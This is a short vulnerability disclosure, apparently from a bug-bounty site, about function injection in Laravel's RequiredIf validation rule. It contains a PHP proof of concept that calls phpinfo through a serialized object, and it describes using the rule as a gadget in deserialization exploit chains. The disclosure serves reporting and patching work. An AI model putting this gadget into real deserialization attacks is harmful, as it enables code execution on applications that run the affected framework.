Code Injection in laravel/framework
Reported on
Jun 12th 2021
โ๏ธ Description
Function injection in Illuminate\Validation\Rules\RequiredIf
can be exploited to generate gadget chains for deserialization vulnerabiltiies.
๐ต๏ธโโ๏ธ Proof of Concept
<?php
use Illuminate\Validation\Rules\RequiredIf;
require("vendor/autoload.php");
$gadget = serialize(new RequiredIf("phpinfo"));
echo unserialize($gadget); // exploitation
As soon as the object is casted to string, function phpinfo
gets executed.
๐ฅ Impact
This vulnerability is capable of calling callables and can be utilized in POP gadget chains when exploiting deserialization vulnerabilities.
Occurrences
@taylorotwell, can you just confirm that this report is valid?
@0xcrypto - we would first require the go-ahead from the maintainer before assigning a CVE here ๐